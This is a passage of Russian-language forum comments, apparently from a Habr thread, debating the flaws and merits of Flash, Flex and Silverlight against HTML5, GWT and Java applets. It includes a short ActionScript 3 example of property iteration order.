<b>реально программируют </b>… многие не понимают преимуществ переносимости кода, поддержки сообщества… Да, «переносимость платформы» минус, но с т.з. менеджмента потеря «какого-то линугс» — фигня. (вот, я наехал на линукс, можете минусовать).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ээээээ.<br/>\r\nМоя школа гулял, мало-мало знаю.<br/>\r\nДа, GWT — это инструментарий, а технология — это javascript.<br/>\r\n<br/>\r\nТак вот. Какие преимущества у технологии flex перед технологией javascript?<br/>\r\nДавным-давно была простота разработки (на js писать не сахар, согласен). Но теперь есть GWT, и этого минуса нет, и даже наоборот (мне вот писать для GWT в IDEA очень нравится, тьма всяких рефакторингов и инспекций. И дебаггер не в пример флешовому).<br/>\r\nВ чём же преимущества flex'а?<br/>\r\n(Не то чтобы я холиварил, просто плохо и мало знаком с flex, и пытаюсь понять, стоит ли оно изучения.)<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">дада. хороший вопрос кстати. <br/>\r\nраз уж упомянули про правильное решение, то почему без объяснений?<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Давайте без холиваров. Будем считать Silverlight и Flash братья навек.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В том и дело, что они пытаются свести воедино 2 сектора — бизнес и домашнего пользователя, а там разные цели, Adobe для этого вынесла Flash в отдельный продукт (Flex), кстати довольно не плохо получилось, я проштудировал их родной видео-курс недельный.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">блин. я слоу) спасибо за ссылку =)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">я специально поставил во всех браузерах и на всех своих компах FlashBlock.<br/>\r\nИбо раз Flash продукт глючный и не предсказуемый — то довольно глупо включать его поддержку в довольно стабильную и четкую систему, как iPhone OS.<br/>\r\nТак что если у меня на iPhone и на iPade не будет работать Flash — то я только за.<br/>\r\n<br/>\r\nЯ за стабильность и предсказуемость в работе. А тратить время на разборки с тормозами и глюками я не хочу.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">trace(prop, p[prop]);<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">No holywar, я поддержал ваш топик, потому что вы трезво оценили негативные стороны технологии, являясь разработчиком на этой технологии. Я просто про то, что немного разные стороны занимают Flash, Flex, Silverlight. Я даже считаю глупым сравнивать Flash и Flex. И когда доходит до разработки серьезного бизнес-инструмента на Flex, то без IDE, ну никак :).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Переносимость это не такая простая вещь как кажется и если кто-то живет в мире Windows и думает что страшное слово его это не касается — сам <s>дурак</s> себе буратино. Разработчики игнорировали здравый смысл и писали конфиги в Program Files — получили несовместимость с вистой; какая мол разница, всё равно в Windows моя программа запустится — а нет. Прямо сейчас на хабре циклы статей про перенос ужасного унаследованного кода на 64-битные системы, и Windows рассматривается там в первую очередь (спекулирую: из-за беспечности разработчиков «один процессор, одна ОС» получили код низкого качества с кучей хаков, так как критерием было работает — ОК).<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Точно, спасибо.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Думаю вам проще будет прочитать какое-нибудь введение во Flash. Для веб-разработчика знать общий смысл оной технологии и её возможности/ограничения практически обязательно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>На нем и пишется добрая (скажем 89,26%) часть всех баннеров. И эта добрая часть пишется в основном людьми плохо владеющими AS и пишущих в основном на PHP или JS. Поделать с этим к сожалению ничего нельзя — проблема не в технологии, а в головах.</blockquote><br/>\r\n<br/>\r\nТ.е. если тривиальные вещи по этой технологии получаются огромными, тормознутыми и прожорливыми — это проблема В ГОЛОВАХ??? Да нет, это проблема ТЕХНОЛОГИИ и только её.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Silverlight это и есть «flash-ng»</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Судя по тому, что я не видел ни одного «не тормозящего» флеш-объекта, проблема скорее не в головах, а как раз-таки в технологии. Флеш — основной источник падений браузера и его тормозов. Многие современные браузеры предпринимают отдельные меры по выделению его в отдельный контекст/поток/… А количество багов во флеше просто зашкаливает. Взять хотя бы баг, при котором flash отсылает кукиз из IE при серверных запросах не взирая на то, что текущий браузер не IE.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">И да, аргументы вроде «браузер падает из-за того, что программист написал неправильную флешку» не принимаются. Среда исполнения обязана контролировать процесс, изолировать ошибки. Особенно если она работает в браузере.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Почему-то если программист написал кривой JS, браузер не падает. Кривого JS-кода в разы больше, чем кривого флэша, но почему-то никого это не напрягает.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Для этого, разработчикам safari пришлось взять ответственность за JS-разработчиков, чтобы не было бесконечных циклов и т.п. Кстати, как там в iphone, остановить можно постоянные alert и т.п.?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Дык они с переходом на AS3 уже много от чего отказались. Если заглянуть внутрь спеков на swf под 9ый flash player, можно увидеть, что, например, раньше инструкции AS2 транслировались в байт-код AVM1 1-к-1, и лежали внутри swf в виде tag-chains. А теперь весь ваш код AS3 компилится в один tag-chain «код для avm3», который игнорируется AVM1 и передается сразу на исполнение в AVM3 (новая виртуальная машина, начиная с Flash Player 9). Просто счас из тех мало кто пишет на AS3 для общих случаев, много где еще используется устаревший AS2, особенно в баннерах.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">правильно — но адоб не хочет брать на себя такую ответственность.<br/>\r\nИ перекладывает ее на плечи пользователей.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Flash и flax может и не стоит сравнивать. Но не надо делать вид, что флеш (хорошо, пусть флекс) не конкурент сильверлайту.<br/>\r\nОни конкуренты, потому что работают на одном рынке но на разных хозяев, и от конкуренции ни куда не уйти.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Давайте я напишу вам bat или sh файл который повесит вашу систему? Или съест большую часть ресурсов. Например использование памяти во Flash — если создавать объекты и хранить на них ссылки, памяти съесть можно очень много. CPU — 3 вложенных цикла, которые вызывают метод еще с кучей циклов, и все это вместе с рекурсией и все это чтобы крутить какой-нибудь квадратик, а таких квадратиков миллион…<br/>\r\n<br/>\r\nДа проблема именно в головах. Я давно не встречал ситуации когда flash плеер ел ресурсы из-за ошибок авторов плеера, а не разработчиков под него.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Java-applets не исчезли. Они были переделаны с нуля, и теперь стали няшкой ^_^ Даже javaFX туда вкрутили</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Дело в том, что на уровне «Нарисовать на flash часы, идущие по текущему времени пользователя» я с флешем знаком.<br/>\r\nИ арканоид писал<br/>\r\nНо это всё можно и на gwt->js сделать легко.<br/>\r\n<br/>\r\nТут вопрос скорее в тонкостях, о которых я вряд ли прочитаю в каком-либо _вводном_ курсе.<br/>\r\n<br/>\r\nЯ бы хотел узнать основные пряники flash- супротив ajax-приложений.<br/>\r\nДаже просто перечисление изюминок flash было бы полезно. Не в духе «можно программировать перемещение объектов по экрану с учётом физики», а скорее «копирование в буфер — сильная сторона flash, есть даже javascript-биндинги для copy/paste, использующие невидимые flash-элементы».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Быть может я не прав, но вы немножко напутали в начале с флексом ;)<br/>\r\n<br/>\r\nFlex SDK не поставляется в виде плагина, Flex SDK есть Flex SDK, а в виде плагина можно скачать Flex (Flash) Builder — IDE для разработки Flex приложений (можно скачать и стэндалон версию, базирующуюся на эклипсе).<br/>\r\n<br/>\r\nСпасибо за отличную статью ;)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я на 100% согласен с Вами в вопросе почему на iPad нет flash'а.<br/>\r\nБез flash пользователи iPad и iPhone теряют множество бесплатных инструментов (которые они, правда, могут получить через appStore, но уже за отдельную плату).<br/>\r\nВ итоге получается «интернет-планшет», лишенный большей доли «интернет-интерактивности».</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">помню чуть ли не года два-три назад уже был плагин, позволяющий переносить рисунок из Adobe Illustrator в разметку XAML, правда в контексте WPF. Но суть от этого не меняется — можно поручить дизайнеру нарисовать макет сайта/контрола/чеготоеще, а потом отдать прогеру сгенерированный XAML для дальнейшей прикрутки логики.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Можно себя уж и блокнотом не мучать, скачать бесплатный FlashDevelop ;)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> Почему-то если программист написал кривой JS, браузер не падает.<br/>\r\n<br/>\r\nЭто вы почему так решили? Поищите в гугле по словам «browser crash by javascript»</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Давно bat/sh можно в браузере исполнять? Среда исполнения, а особенно та, которая работает в браузере, обязана контролировать процесс исполнения. Вы замечали, что когда современный браузер встречает JS-код, который слишком долго синхронно исполняется, то он предлагает остановить исполнение. Я такого во флеше еще ни разу не видел. Все заканчивалось перезагрузкой браузера.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> Давайте я напишу вам bat или sh файл который повесит вашу систему? Или съест большую часть ресурсов.<br/>\r\n<br/>\r\nИ часто, когда Вы пользуетесь bat/sh, Вы подвешиваете систему?<br/>\r\n<br/>\r\n> Да проблема именно в головах. Я давно не встречал ситуации когда flash плеер ел ресурсы из-за ошибок авторов плеера, а не разработчиков под него.<br/>\r\n<br/>\r\nЭто проблема не плеера, а дизайна технологии — что ошибку, приводящую к смерти браузера, сделать легко и тривиально, и никто не собирается это исправлять. Почему-то убить браузера javascript-ом легко и просто не получается.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А кто делает вид? Я нет, Flex конкурент, просто давай-те согласимся, Flash делался не из расчета на программеров. Flex уже да, но опыта в данном плане у MS больше, вот и все. Сейчас Flex должен развиваться самостоятельно + возможности самого AS. А вот MS уже имеет .net платформу, может быстро добавить туда новую фичу, например linq, и наклепать поверх сотни надстроек, которые еще больше упростят работу. А так же, мы благодарим VS за ее возможности, Flex также стоит развивать и IDE. Меня правда Eclipse по скорости не устраивает :(</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Пока на стороне Flash всё, что требует повышенной близости к железу: clipboard, видео, аудио, продвинутая анимация, зачатки 3D и т.п., а также sockets. HTML5 отхапает немалую часть этого царства, но до его массовости ещё далеко, а Flash уже почти у всех есть.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На практике апплеты уже встречаются редко. Чаще всего в околонаучных демках.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Согласен, сплоховал. Сейчас подправлю. Всегда пожалуйста )</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Забыли упомянуть о скором выходе flash player 10.1.<br/>\r\nHTML5 та еще байда. IE6 уже сколько хоронят, ни как похоронить не могут. Такими тенденциями о валидном HTML5 в разных браузерах, остается только мечтать.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А чего плохого было в апплетах? Технология просто обогнала своё время.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так нахрен миру второй Flash? Еще и проблемный, без реализации оригинальной под *nix? Или вы просто принципиально любите .NET?<br/>\r\n<br/>\r\nПро 50% я просто-напросто не верю. Ни у кого из моих знакомых разработчиков (молчу про пользователей, которым даже не интересно) нет silverlight. В принципе. А Флеш есть у всех.<br/>\r\n<br/>\r\nКстати, мой проект под Flex выглядит примерно как:<br/>\r\n<br/>\r\n1) main.swf<br/>\r\n2) main.mxml<br/>\r\n3) десяток файлов .as<br/>\r\n4) несколько медиа файлов в папочке media.<br/>\r\n<br/>\r\nВсе по существу. Плюс есть классные консольные утилиты. А вы чуть ниже мне привели типичную проектную мусорку.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну, значит мы об одном и том же говорим. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> Это вы почему так решили? Поищите в гугле по словам «browser crash by javascript»<br/>\r\n<br/>\r\nПотому что я как бы на нем пишу каждый день. Чтобы обрушить браузер js-ом (особенно если это ФФ или Хром) надо очень сильно постараться. Обрушить браузер флэшом способен любой быдлобаннер.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это примерно как сделать так, что если ты не поставил точку с запятой, технология форматирует винчестер, а потом заявить — это все из-за тупых программистов, им же 100 раз говорили, ставь точку с запятой!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Их завалила глючная и медленная реализация JVM от Ms.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я внимательно прочитал, но так и не понял — а что Вы этим постом хотели сказать?<br/>\r\n<br/>\r\nЧто все плохо и у технологии куча проблем? Ну это, кажется, любому разработчику очевидно. Посмотрите на php-программеров, хотя бы на их комментарии на php.net — там точно так же жалуются на совместимость версий, тормознутость, ограниченность. А если на верстальщиков обратить внимание, так это вообще сразу вешаться можно. Пачка различных браузеров и куча версий у каждого и везде те же проблемы с совместимостью, багами, хаками…<br/>\r\n<br/>\r\nЧто у языка есть неочевидные особенности? Ну да, модицифировать массив (ну или объект) во время прохода по нему циклом — такое не в каждом языке можно, в большинстве явно запрещено. Многие на это натыкаются, согласен.<br/>\r\n<br/>\r\nЧто есть альтернативы, но там тоже все плохо? А что делать — отрасль у нас такая, молодая, развивающаяся, динамичная. Она еще не скоро зачерствеет.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>>>Так нахрен миру второй Flash? <br/>\r\n<br/>\r\nПризнаюсь, мне не понятны вопросы типа — Ну есть же флеш, зачем еще один плагин нужен? Вот не могу понять такие вопросы. Потому что еще один плагин нужен всем.<br/>\r\n<br/>\r\n1. Он нужен МС, потому что это бизнес, а МС, как это не странно коммерческая конторка, и делать деньги ее прямая задача.<br/>\r\n<br/>\r\n2. Он нужен армии разработчиков которые сегодня пишут на .Net. Для них это еще одна ниша где можно реализоваться. Для них это еще одна возможность получить работу.<br/>\r\n<br/>\r\n3. Он нужен флешерам. Как это не странно, но здоровая конкуренция идет на пользу всем, в том числе и флешу. Монополия — это болото, рынок — это развитие. Есть здоровый конкурент — флеш будет развиваться, а не почивать на лаврах.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Sockets — принято (будет в html5)<br/>\r\nВидео-аудио — принято (будет в html5)<br/>\r\nClipboard — уже есть решение, использующее flash только в качестве graceful degradation<br/>\r\nЗачатки3D — на мой вкус 3Dflash ровно такая же экзотика, как какой-нибудь o3d, но плагин для последнего гораздо шустрее.<br/>\r\nПродвинутая анимация — а вот этот пункт можете пояснить, о чём речь?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Думаю, что если iPad «пойдёт», то под него быстро наклепают инструментов на HTML5 (что порадует всех). А мы посмотрим, угадал ли Джобс с моментом отказа от Flash.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да-да, я тоже всей душой за HTML5 и быстрые JS-движки (IE 9, ау!!!). ;) <br/>\r\n<br/>\r\nНа Flash не писал, каюсь, но вроде он из коробки поддерживает векторную анимацию.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Плюс огромный по тем меркам JRE.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я писал это не для разработчиков, а для людей которые пользуются flash.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Поддерживаю. FlashDevelop отличная IDE, как для flex, так и для flash проектов. Для flash проектов вообще почти незаменим, поскольку в самой среде редактор для дизайнеров, а не программистов.<br/>\r\nЕще бы visual designer в него для flex проектов и FlashDevelop был бы вне конкуренции.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ерунду говорите. MS-jvm была быстрее, чем оригинальная от Sun. <br/>\r\nА вот архитектурно в апплетах косяков они (Sun) напороли, поэтому в java 6 апплеты были кардинально переделаны</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Canvas (правда, с использованием дополнительного файла excanvas.js) поддерживается в ie6+.<br/>\r\nСоответственно, рисование кривых Безье и прочее всякое доступны из js во всех распространённых браузерах, без доп. плагинов.<br/>\r\n(Или под «из коробки» имелась в виду «из коробки для разработчика»? Ну так скачать gwt-g2d.jar не так уж долго и сложно, по крайней мере меня это не травмировало.)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Счас я вам скажу, что FlashDevelop написан на .net, и вы будете плеваться</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Флеш умеет взаимодействовать с js в обе стороны, что позволяет решить большинство вопросов взаимодействия с браузером и не флешевыми частями страницы</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мы тоже делаем RIA-морду для нашей системы на Silverlight. Оказалось на удивление комфортно разрабатывать под него, с удобной IDE и большим количеством встроенных классов, которые помещаются в дистрибутив Silverlight размером 5 мегабайт и не утяжеляют конечный xap-файл.<br/>\r\n<br/>\r\nТак что для бизнес-приложений это вполне приемлемое решение.<br/>\r\n<br/>\r\nЖаль только, что Silverlight 4 в 2008-й студии не работает, требует 2010-ю.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Excanvas — сильно медленно для продвинутой анимации. Увы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Такими темпами Адоба профукает становление сильверлайта. А потом начнется стандартное нытье про монополию и проч. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">да, вопервых в коде ошибка. там s переменной нет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> Почему все приложения написанные на flash такие тяжелые?<br/>\r\n1.28 мегабайт это скорее всего дебаг сборка, релиз у меня в куда более масштабных проектах никогда не выходила за 400-500кб. Тоже немало, но таки в 2,5 раза меньше заявленного.<br/>\r\n> А как можно так криво сделать?<br/>\r\nО приведенном примере я бы сказал, что в любом ЯП можно сделать код, который без глубокого понимания нюансов языка не объяснить. Использование ООП позволяет во-первых использовать все преимущества автодополнения и избегать таких неоднозначностей. Не говорю, что багов нет, но пример кривости на мой взгляд не совсем корректен. <br/>\r\nИз багов флеша, которые действительно таинственны, необъяснимы и мешают жить я бы выделил три: поведение флешек при установленном wmode=''transparent\", невозможность в ИЕ работать с подгружаемыми данными, не ложа их в кэш (ну тут особенность ИЕ, что актив-икс может работать только с файлами с диска, адоб бессилен), необходимость формировать задание на печать в пределах одного метода.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я знаю на чем он написан, но 1. я не вижу причин плеваться на .Net 2. это не важно. Совсем не важно. Важно как он работает.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">это всё делается без Flash, в современных браузерах.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">каждому своё. большие вещи без строгого разделения сущностей не построить.<br/>\r\n<br/>\r\nа для мелких вещей можно и на Silverlight всё в одном сделать.<br/>\r\n<br/>\r\nПросто на Silverlight удобно делать приложения и большого объёма.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>Почему все приложения написанные на flash такие тяжелые?<br/>\r\nПо-моему в этой фразе пропущено слово «корявые».<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> «Flex SDK поставляется с плагином для Eclipse»<br/>\r\nнет, он поставляется сам по себе, без плагина под эклипс — иначе sdk был бы платным. его компилятор используется и для создания флешек без флексового фрейворка.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В общем, во многих местах я бы поспорил, но влом. А что касается примера с объектами, то вам собсно никто не обещал какого-то порядка в следовании свойств. Во время первой итерации вы его меняете на b a c, вот почему вторая итерация хавает опять a. А почему порядок так меняется — это уже внутренности виртуальной машины. Сам код напоминает мне как разработчик сидит на суку и пилит его под собой, а потом удивляется почему это он упал с дерева.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А что не понравилось в коде? То что 2 AS кривой?:<br/>\r\n<br/>\r\n<img src=\"http://img.parcsis.org/habra4/myth3.png\" data-src=\"http://img.parcsis.org/habra4/myth3.png\"/><br/>\r\n<br/>\r\nВ 3 AS все предельно понятно:<br/>\r\n<blockquote><code><font color=\"black\">package<br/>\r\n{<br/>\r\n  import flash.display.Sprite;<br/>\r\n    <br/>\r\n  <font color=\"#0000ff\">public</font> <font color=\"#0000ff\">class</font> Watch extends Sprite<br/>\r\n  {<br/>\r\n    <font color=\"#0000ff\">var</font> p:Object = <br/>\r\n    {<br/>\r\n      a: 1,<br/>\r\n      b: 1,<br/>\r\n      c: 1<br/>\r\n    }<br/>\r\n    <br/>\r\n    <font color=\"#0000ff\">public</font> <font color=\"#0000ff\">function</font> Watch()<br/>\r\n    {<br/>\r\n      <br/>\r\n      <font color=\"#0000ff\">for</font> (<font color=\"#0000ff\">var</font> prop:String <font color=\"#0000ff\">in</font> p)<br/>\r\n      {<br/>\r\n        trace(prop, p[prop]);<br/>\r\n        p[<font color=\"#A31515\">'a'</font>] = 2;<br/>\r\n      }<br/>\r\n    }<br/>\r\n  }<br/>\r\n}<br/>\r\n</font><br/>\r\n<font color=\"gray\">* This source code was highlighted with <a href=\"http://virtser.net/blog/post/source-code-highlighter.aspx\"><font color=\"gray\">Source Code Highlighter</font></a>.</font></code></blockquote><br/>\r\n<br/>\r\nOutput:<br/>\r\nc 1<br/>\r\na 2<br/>\r\nb 1<br/>\r\n<br/>\r\n<a href=\"http://dafive.ru/habr/watch.rar\">Пруфлинк</a>.<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>На нем и пишется добрая (скажем 89,26%) часть всех баннеров. </blockquote><br/>\r\n<br/>\r\nХм, на самом деле я слышал о цифре в 89.27%… )<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Silverlight — это тоже .net (в настоящее .net Compact Framework 2.0, если быть совсем точным). В комментариях выше плюются, как видите.<br/>\r\n<br/>\r\nПри помощи FlashDevelop (ну и при помощи блокнота тоже, конечно) вы не сможете редактировать и импортировать в проект векторную графику — для этого нужна Flash IDE, т.к. формат файла проекта бинарный и закрытый. Поэтому говорить о том, что можно полноценно делать серьезные проекты — преувеличение: ни встроенные контролы, ни векторная графика недоступны.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это AS3. И вы изменили код.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Флешплеер выводит «A script in this movie is causing flash player to run slowly» если скрипт выполняется больше 15 секунд (это значение можно поменять внутри swf-ки). Проблема в том, что, если выполнять его скажем по 14 секунд, делая небольшие интервалы (например через setTimeout) — то плеер не выведет предупреждения, но браузер всеравно будет загружен работой плеера фактически также.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Думаю, что даже в Adobe не знают ответа на этот вопрос.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если честно, то я жду платформы, в которой все компоненты будут родные — то есть примерно как html5 планируется. Тогда это будет гораздо лучше работать.<br/>\r\nВо флеше все равно есть ряд хитрых вещей, ломающих стандарты.<br/>\r\nНапример, TCP Socket с проверкой возможнсти подключения по 843 порту. Откуда они его выкопали? Скорее всего он будет закрыт у клиента. Кроме того, это ломает логику работы с доменными именами. А если у меня виртуальный хостинг? Какой мне socket-policy отдавать?<br/>\r\n<br/>\r\nХотя сейчас флеш может больше чем html+js.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">— Открываешь страницу с Java-аплетом и сразу идёшь готовить кофе.<br/>\r\n— Замороченная интеграция с веб-технологиями.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> комментариях выше плюются, как видите.<br/>\r\nНа хабре сложно что-то написать, чтобы никто не плевался =) На вкус и цвет все фломастеры разные.<br/>\r\n> Поэтому говорить о том, что можно полноценно делать <br/>\r\n> серьезные проекты — преувеличение<br/>\r\nДля flash проектов его можно использовать не вместо, а в дополнение к Flash IDE, просто как удобный редактор кода. Есть еще варианты с swfmill, как способ уйти от Flash IDE, но я всё никак не выберусь посмотреть его, насколько он адекватен, потому не могу судить.<br/>\r\nДля Flex проектов — на данный момент один из оптимальных вариантов, как мне кажется. Как раз сейчас стою перед выбором. Flex Builder штука удобная, но цена у него не слишком гуманная, а триал беты заканчивается. Amethyst — вроде по фичам довольно неплох, но пока находится в стадии глубокой беты и немного бесит, когда шаг влево-вправо и что-то не работает. Если подскажете, что-то удобное и бесплатное или с гуманной ценой, то буду очень благодарен.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Лично по моему мнению среднее количество проклятий в сторону Adobe от flash разработчиков составляет порядка 50 в год.<br/>\r\n</blockquote><br/>\r\n<br/>\r\nТогда непонятно почему проклятья в сторону Adobe. Написать «правильный» код, на 2 AS и чтобы все работало так как нужно? <br/>\r\n<br/>\r\n3 AS в вашей интерпретации выведет:<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">a 1<br/>\r\nc 1<br/>\r\na 2<br/>\r\nb 1</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Учитывая, что в январе вышла вторая бета, думаю, знают. Но вот когда точно, остается только гадать.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Последний апплет, который я видел, был никсовский интерфейс интернет-магазина. И он работал не в пример быстрее флексовского интерфейса, который мы для дойчебанка писали.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как по мне, swfmill слишком низкоуровневый. Т.е., на нем можно сделать упаковку ресурсов, но если их много, это становится неинтересным.<br/>\r\n<br/>\r\nКак аналог Amethyst могу предложить Tofino: <a href=\"http://www.ensemble.com/products/tofino.shtml.\">www.ensemble.com/products/tofino.shtml.</a> Правда, я не делал в нем ничего сложнее, чем делал в FlashDevelop + haxe, но кажется работает :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">маленькая неточность:<br/>\r\n<br/>\r\nК тому же наличие Flash может сильно ударить по доходам appStrore от казуальных играх и мини приложений.<br/>\r\n<br/>\r\n90% скачиваний из аппстора — бесплатные приложения, денег эпплу и так не приносят. «ударить по доходам» — расхожий миф.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Так было. Попробуйте последние шестые апплеты, приятно удивитесь</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Давайте по порядку:<br/>\r\n<br/>\r\nа) Аргумент, что флеш «тяжелый» меня уже порядком задолбал — страницы сайтов с скриптами весят уже по 100-300 Кб, про видео с YouTube, которое смотрят большинство жалующихся, я уже и не говорю (обычно от 10 Mb). Кроме того, ваш размер в 1.5 Мб — явный перебор, возможно, связанный с Flex 4, который еще не вышел из беты + debug, а не release-версия. Обычный размер Flex-приложения — в пределах 500-1000 Кб.<br/>\r\n<br/>\r\nб) Тормознутость.<br/>\r\nВо-первых, совершенно правильно замечено про кривость рук отдельных разработчиков, которые хотят эффекты понавороченнее, и вставляют в баннеры, например, системы частиц и используют устаревшую AS2.<br/>\r\nВо-вторых, ряд фанатов использует на своих сайтах wmode=«transparent», что означает, что анимация флешки должна проигрываться с учетом слоев браузера (и его фона, кстати). Представляете, какая это нагрузка на систему рендеринга? Silverlight, думаю, такого не позволяет — а если бы и позволял, то тормозил бы не хуже. Отрубить это безобразие — и все залетает.<br/>\r\nВ-третьих: вас же не просят сделать на JS что-нибудь трехмерное? А на флеше — просят, вот и слава богу, что он не «завешивает» при этом браузер окончательно.<br/>\r\n<br/>\r\nв) Совместимость версий.<br/>\r\nИз этого фрагмента мне начинает казаться, что автор вообще не кодил под Flash. Ибо написать что-нибудь, что существенно зависит от изменения минорной версии флеша мне не удалось ни разу в жизни, а прогал я немало. В мажорных вводятся новые API и там, конечно, нужно за этим следить, например в 10-й версии ввели шейдеры на Pixel Bender. Но в остальном — полный бред, особенно касабельно каких-то изменений в релизах, выходящую каждую неделю.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы правы, тут нужен костыль на Flash. Забыл совсем, ибо использую для этого библиотеку на Javascript, а она уже внутри использует для этого Flash для этих браузеров.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы хотите сказать, что не сотрудничая с создателем ОС нельзя написать хорошую программу под нее?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо! Tofino попробую.<br/>\r\nМне идея с swfmill понравилась еще тем, что текстовый формат описания ресурсов и некая атомарность ресурсов позволяет более детально контролировать изменения при использовании системы контроля версий. Поскольку «изменился fla файл» слишком глобальное изменение, и я не знаю, как быть, когда над проектом работает несколько человек, и каждый хочет добавить по картинке?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Читаю на официальном сайте информацию о последней 64-разрядной сборке флеша: «The latest alpha refresh for was released on December 8, 2009.»<br/>\r\nВторая бета? Я что-то пропустил?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">а, б) Объясните это все пользователям никак не связанным с разработкой.<br/>\r\nв) Это ваше мнение. На мой взгляд количество написанного кода никак не связанно с обнаружением ошибок. Для поиска багтрекер Adobe открыт, посмотрите задачи с точным указанием версии, раз не верите мне.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">справедливости ради, в том же SL файл проекта с самого начала текстовый (xml), в том числе и обработанный в Expression Studio, так что проблемы с тем, что несколько человек одновременно работают над проектом, не возникает.<br/>\r\n<br/>\r\nВо Flex, как и во FlashDevelop, такая же ситуация, но нет векторной рисовалки.<br/>\r\n<br/>\r\nНу и если я правильно понял, очень скоро Flash и Flex Builder IDE соединят в одно — Flash Builder 